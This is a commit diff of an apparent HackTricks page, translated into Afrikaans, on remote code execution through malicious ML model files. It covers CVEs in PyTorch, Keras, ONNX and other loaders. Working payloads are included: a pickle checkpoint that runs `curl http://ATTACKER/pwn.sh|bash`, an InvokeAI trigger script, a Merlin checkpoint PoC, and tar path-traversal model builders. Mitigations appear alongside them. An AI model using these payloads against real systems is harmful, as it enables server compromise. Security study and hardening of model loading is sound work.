Translated ['', 'src/AI/AI-Models-RCE.md'] to af

This commit is contained in:
Translator 2025-10-01 02:49:58 +00:00
parent 19fe53c5a8
commit a55048bb01

View File

@ -1,43 +1,44 @@
# Modelle RCE
# Models RCE
{{#include ../banners/hacktricks-training.md}}
## Laai modelle na RCE
## Loading models to RCE
Masjienleer modelle word gewoonlik in verskillende formate gedeel, soos ONNX, TensorFlow, PyTorch, ens. Hierdie modelle kan in ontwikkelaars se masjiene of produksiesisteme gelaai word om hulle te gebruik. Gewoonlik behoort die modelle nie kwaadwillige kode te bevat nie, maar daar is 'n paar gevalle waar die model gebruik kan word om arbitrêre kode op die stelsel uit te voer as 'n beoogde funksie of as gevolg van 'n kwesbaarheid in die model laai biblioteek.
Masjienleer-modelle word gewoonlik gedeel in verskillende formate, soos ONNX, TensorFlow, PyTorch, ens. Hierdie modelle kan in ontwikkelaars se masjiene of produksiestelsels gelaai word om hulle te gebruik. Gewoonlik behoort die modelle geen kwaadwillige kode te bevat nie, maar daar is gevalle waar die model gebruik kan word om arbitrêre kode op die stelsel uit te voer as 'n bedoelde funksie of weens 'n kwesbaarheid in die model-laaibiblioteek.
Tydens die skryf hiervan is hier 'n paar voorbeelde van hierdie tipe kwesbaarhede:
Op die tyd van skrywe is dit sommige voorbeelde van hierdie tipe kwesbaarhede:
| **Raamwerk / Gereedskap** | **Kwesbaarheid (CVE indien beskikbaar)** | **RCE Vektor** | **Verwysings** |
| **Framework / Tool** | **Vulnerability (CVE if available)** | **RCE Vector** | **References** |
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
| **PyTorch** (Python) | *Onveilige deserialisering in* `torch.load` **(CVE-2025-32434)** | Kwaadwillige pickle in model kontrolepunt lei tot kode-uitvoering (om `weights_only` beskerming te omseil) | |
| PyTorch **TorchServe** | *ShellTorch* **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kwaadwillige model aflaai veroorsaak kode-uitvoering; Java deserialisering RCE in bestuurs-API | |
| **TensorFlow/Keras** | **CVE-2021-37678** (onveilige YAML) <br> **CVE-2024-3660** (Keras Lambda) | Laai model vanaf YAML gebruik `yaml.unsafe_load` (kode exec) <br> Laai model met **Lambda** laag voer arbitrêre Python kode uit | |
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Gemaakte `.tflite` model veroorsaak heelgetal oorgang → heap korrupsie (potensiële RCE) | |
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laai 'n model via `joblib.load` voer pickle met aanvaller se `__reduce__` payload uit | |
| **NumPy** (Python) | **CVE-2019-6446** (onveilige `np.load`) *betwis* | `numpy.load` standaard het toegelaat dat gepekelde objekreeks kwaadwillige `.npy/.npz` veroorsaak kode exec | |
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversie) <br> **CVE-2024-5187** (tar traversie) | ONNX model se eksterne gewigte pad kan die gids ontsnap (lees arbitrêre lêers) <br> Kwaadwillige ONNX model tar kan arbitrêre lêers oorskryf (lei tot RCE) | |
| ONNX Runtime (ontwerp risiko) | *(Geen CVE)* ONNX pasgemaakte ops / kontrole vloei | Model met pasgemaakte operateur vereis laai van aanvaller se inheemse kode; komplekse model grafieke misbruik logika om onbedoelde berekeninge uit te voer | |
| **NVIDIA Triton Server** | **CVE-2023-31036** (pad traversie) | Gebruik model-laai API met `--model-control` geaktiveer laat relatiewe pad traversie toe om lêers te skryf (bv. oorskryf `.bashrc` vir RCE) | |
| **GGML (GGUF formaat)** | **CVE-2024-25664 … 25668** (meervoudige heap oorgange) | Misvormde GGUF model lêer veroorsaak heap buffer oorgange in parser, wat arbitrêre kode-uitvoering op die slagoffer stelsel moontlik maak | |
| **Keras (ou formate)** | *(Geen nuwe CVE)* Erflike Keras H5 model | Kwaadwillige HDF5 (`.h5`) model met Lambda laag kode voer steeds uit op laai (Keras safe_mode dek nie ou formaat nie “downgrade aanval”) | |
| **Ander** (generies) | *Ontwerp fout* Pickle serialisering | Baie ML gereedskap (bv. pickle-gebaseerde model formate, Python `pickle.load`) sal arbitrêre kode wat in model lêers ingebed is uitvoer tensy dit gemitigeer word | |
| **PyTorch** (Python) | *Onveilige deserialisering in* `torch.load` **(CVE-2025-32434)** | Kwaadaardige pickle in model checkpoint lei tot kode-uitvoering (omseil `weights_only` beskerming) | |
| PyTorch **TorchServe** | *ShellTorch* **CVE-2023-43654**, **CVE-2022-1471** | SSRF + kwaadaardige model aflaai veroorsaak kode-uitvoering; Java deserialisering RCE in management API | |
| **NVIDIA Merlin Transformers4Rec** | Onveilige checkpoint deserialisering via `torch.load` **(CVE-2025-23298)** | Onbetroubare checkpoint aktiveer pickle-reducer tydens `load_model_trainer_states_from_checkpoint` → kode-uitvoering in ML-werker | [ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) |
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | Laai van model vanaf YAML gebruik `yaml.unsafe_load` (kode-uitvoering) <br> Laai van model met **Lambda** layer voer arbitrêre Python-kode uit | |
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Gemanipuleerde `.tflite` model veroorsaak heelgetal-oorloop → heap-korrupsie (potensiële RCE) | |
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laai van model via `joblib.load` voer pickle uit met aanvaller se `__reduce__` payload | |
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *betwis* | `numpy.load` standaard laat gepicklede objekreekse toe kwaadaardige `.npy/.npz` veroorsaak kode-uitvoering | |
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | ONNX model se external-weights-pad kan gids verlaat (lees arbitrêre lêers) <br> Kwaadaardige ONNX model tar kan ewekansige lêers oorskryf (leidend tot RCE) | |
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | Model met custom operator vereis laai van aanvaller se native code; komplekse modelgrafieke misbruik logika om onbedoelde berekeninge uit te voer | |
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Gebruik van model-load API met `--model-control` aangeskakel laat relatiewe padtraversering toe om lêers te skryf (bv. oorskryf `.bashrc` vir RCE) | |
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | Verkeerd gevormde GGUF model-lêer veroorsaak heap buffer-oorloop in parser, wat arbitrêre kode-uitvoering op slagofferstelsel moontlik maak | |
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Kwaadaardige HDF5 (`.h5`) model met Lambda layer-kode word steeds uitgevoer by laai (Keras safe_mode dek nie ou formaat nie “downgrade attack”) | |
| **Others** (general) | *Ontwerpfout* Pickle serialization | Baie ML-instrumente (bv. pickle-gebaseerde modelformate, Python `pickle.load`) sal arbitrêre kode uitvoer wat in model-lêers ingesluit is tensy dit gemitigeer word | |
Boonop is daar 'n paar python pickle-gebaseerde modelle soos die wat deur [PyTorch](https://github.com/pytorch/pytorch/security) gebruik word wat gebruik kan word om arbitrêre kode op die stelsel uit te voer as hulle nie met `weights_only=True` gelaai word nie. So, enige pickle-gebaseerde model kan spesiaal kwesbaar wees vir hierdie tipe aanvalle, selfs al is hulle nie in die tabel hierbo gelys nie.
Verder is daar sommige Python-pickle-gebaseerde models soos dié wat deur [PyTorch](https://github.com/pytorch/pytorch/security) gebruik word wat gebruik kan word om arbitrêre kode op die stelsel uit te voer as hulle nie met `weights_only=True` gelaai word nie. Dus kan enige pickle-gebaseerde model besonder vatbaar wees vir hierdie tipe aanvalle, selfs al word hulle nie in die tabel hierbo gelys nie.
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
`InvokeAI` is 'n gewilde oopbron webkoppelvlak vir Stable-Diffusion. Weergawes **5.3.1 5.4.2** stel die REST eindpunt `/api/v2/models/install` beskikbaar wat gebruikers toelaat om modelle van arbitrêre URL's af te laai en te laai.
`InvokeAI` is 'n populêre open-source web-koppelvlak vir Stable-Diffusion. Weergawes **5.3.1 5.4.2** stel die REST-endpoint `/api/v2/models/install` bloot wat gebruikers toelaat om modelle vanaf ewekansige URLs af te laai en in te laai.
Intern roep die eindpunt uiteindelik aan:
Intern roep die endpoint uiteindelik aan:
```python
checkpoint = torch.load(path, map_location=torch.device("meta"))
```
Wanneer die geleverde lêer 'n **PyTorch checkpoint (`*.ckpt`)** is, voer `torch.load` 'n **pickle deserialisering** uit. Omdat die inhoud direk van die gebruiker-beheerde URL kom, kan 'n aanvaller 'n kwaadwillige objek met 'n pasgemaakte `__reduce__` metode binne die checkpoint inkorporeer; die metode word **tydens deserialisering** uitgevoer, wat lei tot **remote code execution (RCE)** op die InvokeAI bediener.
Wanneer die verskafte lêer 'n **PyTorch checkpoint (`*.ckpt`)** is, voer `torch.load` 'n **pickle deserialization** uit. Omdat die inhoud direk vanaf 'n deur die gebruiker beheerde URL kom, kan 'n aanvaller 'n kwaadwillige objek met 'n pasgemaakte `__reduce__`-metode in die checkpoint insluit; die metode word uitgevoer **during deserialization**, wat lei tot **remote code execution (RCE)** op die InvokeAI-bediener.
Die kwesbaarheid is toegeken **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
Aan die kwesbaarheid is **CVE-2024-12029** toegewys (CVSS 9.8, EPSS 61.17 %).
#### Exploitasiestap-vir-stap
#### Uitbuitingsstappe
1. Skep 'n kwaadwillige checkpoint:
```python
@ -51,8 +52,8 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))
with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
```
2. Host `payload.ckpt` op 'n HTTP-bediener wat jy beheer (bv. `http://ATTACKER/payload.ckpt`).
3. Trigger die kwesbare eindpunt (geen verifikasie benodig):
2. Huisves `payload.ckpt` op 'n HTTP-server wat jy beheer (bv. `http://ATTACKER/payload.ckpt`).
3. Roep die kwesbare endpoint aan (geen verifikasie vereis):
```python
import requests
@ -67,34 +68,77 @@ json={}, # body can be empty
timeout=5,
)
```
4. Wanneer InvokeAI die lêer aflaai, roep dit `torch.load()` aan → die `os.system` gadget loop en die aanvaller verkry kode-uitvoering in die konteks van die InvokeAI proses.
4. Wanneer InvokeAI die lêer aflaai roep dit `torch.load()` → die `os.system` gadget hardloop en die aanvaller verkry kode-uitvoering in die konteks van die InvokeAI-proses.
Klaar-gemaakte uitbuiting: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` outomatiseer die hele vloei.
Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automatiseer die hele proses.
#### Voorwaardes
#### Conditions
• InvokeAI 5.3.1-5.4.2 (skandeervlag standaard **vals**)
`/api/v2/models/install` bereikbaar deur die aanvaller
• Proses het regte om skaalopdragte uit te voer
• InvokeAI 5.3.1-5.4.2 (scan-vlag standaard **false**)
`/api/v2/models/install` bereikbaar deur die aanvaller
• Proses het toestemming om shell-opdragte uit te voer
#### Versagtings
#### Mitigations
* Opgradeer na **InvokeAI ≥ 5.4.3** die patch stel `scan=True` standaard en voer malware-skandering uit voor deserialisering.
* Wanneer jy kontrolepunte programmaties laai, gebruik `torch.load(file, weights_only=True)` of die nuwe [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
* Handhaaf toelaat-lists / handtekeninge vir modelbronne en voer die diens uit met die minste voorregte.
* Opgradeer na **InvokeAI ≥ 5.4.3** die patch stel `scan=True` as standaard en voer malware-skandering uit voor deserialisering.
* Wanneer jy checkpoints programmaties laai, gebruik `torch.load(file, weights_only=True)` of die nuwe [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
* Handhaaf allow-lists / signatures vir modelbronne en voer die diens uit met minimale regte.
> ⚠️ Onthou dat **enige** Python pickle-gebaseerde formaat (insluitend baie `.pt`, `.pkl`, `.ckpt`, `.pth` lêers) inherent onveilig is om te deserialiseer vanaf onbetroubare bronne.
> ⚠️ Onthou dat **elke** Python pickle-gebaseerde formaat (insluitend baie `.pt`, `.pkl`, `.ckpt`, `.pth` lêers) van nature onveilig is om vanaf onbetroubare bronne te deserialiseer.
---
Voorbeeld van 'n ad-hoc versagting as jy ouer InvokeAI weergawes agter 'n omgekeerde proxy moet hou:
Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy:
```nginx
location /api/v2/models/install {
deny all; # block direct Internet access
allow 10.0.0.0/8; # only internal CI network can call it
}
```
## Voorbeeld die skep van 'n kwaadwillige PyTorch-model
### 🆕 NVIDIA Merlin Transformers4Rec RCE deur onveilige `torch.load` (CVE-2025-23298)
NVIDIAs Transformers4Rec (deel van Merlin) het 'n onveilige checkpoint loader blootgestel wat direk `torch.load()` op deur die gebruiker voorsiene paaie aangeroep het. Omdat `torch.load` op Python `pickle` staatmaak, kan 'n deur 'n aanvaller beheerde checkpoint arbitrêre kode uitvoer via 'n reducer tydens deserialisering.
Kwetsbare pad (voor fiksing): `transformers4rec/torch/trainer/trainer.py``load_model_trainer_states_from_checkpoint(...)``torch.load(...)`.
Waarom dit tot RCE lei: In Python `pickle` kan 'n object 'n reducer (`__reduce__`/`__setstate__`) definieer wat 'n callable en argumente teruggee. Die callable word tydens unpickling uitgevoer. As so 'n object in 'n checkpoint teenwoordig is, word dit uitgevoer voordat enige gewigte gebruik word.
Minimale kwaadwillige checkpoint-voorbeeld:
```python
import torch
class Evil:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))
# Place the object under a key guaranteed to be deserialized early
ckpt = {
"model_state_dict": Evil(),
"trainer_state": {"epoch": 10},
}
torch.save(ckpt, "malicious.ckpt")
```
Afleweringsvektore en skadekring:
- Trojanized checkpoints/models gedeel via repos, buckets, or artifact registries
- Geautomatiseerde resume/deploy pipelines wat checkpoints outomaties laai
- Uitvoering gebeur binne training/inference workers, dikwels met verhoogde voorregte (bv., root in containers)
Oplossing: Commit [b7eaea5](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) (PR #802) het die direkte `torch.load()` vervang deur 'n beperkte, toegelate deserializer geïmplementeer in `transformers4rec/utils/serialization.py`. Die nuwe loader valideer tipes/velde en voorkom dat arbitrêre callables tydens laai aangeroep word.
Verdedigingsriglyne spesifiek vir PyTorch checkpoints:
- Moet nie unpickle onbetroubare data nie. Verkies nie-uitvoerbare formate soos [Safetensors](https://huggingface.co/docs/safetensors/index) of ONNX waar moontlik.
- As jy PyTorch serialization moet gebruik, verseker `weights_only=True` (ondersteun in nuwer PyTorch) of gebruik 'n pasgemaakte toegelate unpickler soortgelyk aan die Transformers4Rec-patch.
- Dwing model provenansie/handtekeninge af en gebruik sandbox-deserialisering (seccomp/AppArmor; non-root user; beperkte FS en geen uitgaande netwerkverkeer).
- Moniteer vir onverwagte child processes van ML-dienste tydens checkpoint-laaityd; spoor `torch.load()`/`pickle` gebruik.
POC en kwesbare/patch verwysings:
- Kwesbare pre-patch loader: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
- Kwaadaardige checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
- Na-patch loader: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js
## Voorbeeld skep 'n kwaadwillige PyTorch-model
- Skep die model:
```python
@ -131,11 +175,11 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error
```
## Modelle na Pad Traversal
## Modelle vir Path Traversal
Soos kommentaar in [**hierdie blogpos**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), is die meeste modelle formate wat deur verskillende AI-raamwerke gebruik word, gebaseer op argiewe, gewoonlik `.zip`. Daarom mag dit moontlik wees om hierdie formate te misbruik om pad traversaal aanvalle uit te voer, wat dit moontlik maak om arbitrêre lêers van die stelsel waar die model gelaai word, te lees.
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Daarom kan dit moontlik wees om hierdie formate te misbruik om path traversal attacks uit te voer, wat toelaat om arbitrêre lêers van die stelsel waar die model gelaai word te lees.
Byvoorbeeld, met die volgende kode kan jy 'n model skep wat 'n lêer in die `/tmp` gids sal skep wanneer dit gelaai word:
Byvoorbeeld, met die volgende kode kan jy 'n model skep wat 'n lêer in die `/tmp` directory sal aanmaak wanneer dit gelaai word:
```python
import tarfile
@ -146,7 +190,7 @@ return member
with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)
```
Of, met die volgende kode kan jy 'n model skep wat 'n symlink na die `/tmp` gids sal skep wanneer dit gelaai word:
Of, met die volgende kode kan jy 'n model skep wat 'n symlink na die `/tmp`-gids sal skep wanneer dit gelaai word:
```python
import tarfile, pathlib
@ -161,9 +205,9 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD) # rides the symlink
```
### Deep-dive: Keras .keras deserialisering en gadget jag
### Diepduik: Keras .keras deserialisering en gadget hunting
Vir 'n gefokusde gids oor .keras interne, Lambda-laag RCE, die arbitrêre invoer probleem in ≤ 3.8, en post-fix gadget ontdekking binne die toelaatlys, sien:
Vir 'n gefokusde gids oor .keras internals, Lambda-layer RCE, die arbitrary import-kwessie in ≤ 3.8, en post-fix gadget discovery binne die allowlist, sien:
{{#ref}}
@ -172,9 +216,16 @@ Vir 'n gefokusde gids oor .keras interne, Lambda-laag RCE, die arbitrêre invoer
## Verwysings
- [OffSec blog "CVE-2024-12029 InvokeAI Deserialisering van Onbetroubare Data"](https://www.offsec.com/blog/cve-2024-12029/)
- [OffSec blog "CVE-2024-12029 InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
- [Rapid7 Metasploit module dokumentasie](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
- [PyTorch sekuriteits oorwegings vir torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
- [PyTorch security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security)
- [ZDI blog CVE-2025-23298 Getting Remote Code Execution in NVIDIA Merlin](https://www.thezdi.com/blog/2025/9/23/cve-2025-23298-getting-remote-code-execution-in-nvidia-merlin)
- [ZDI advisory: ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/)
- [Transformers4Rec patch commit b7eaea5 (PR #802)](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903)
- [Pre-patch vulnerable loader (gist)](https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js)
- [Malicious checkpoint PoC (gist)](https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js)
- [Post-patch loader (gist)](https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js)
- [Hugging Face Transformers](https://github.com/huggingface/transformers)
{{#include ../banners/hacktricks-training.md}}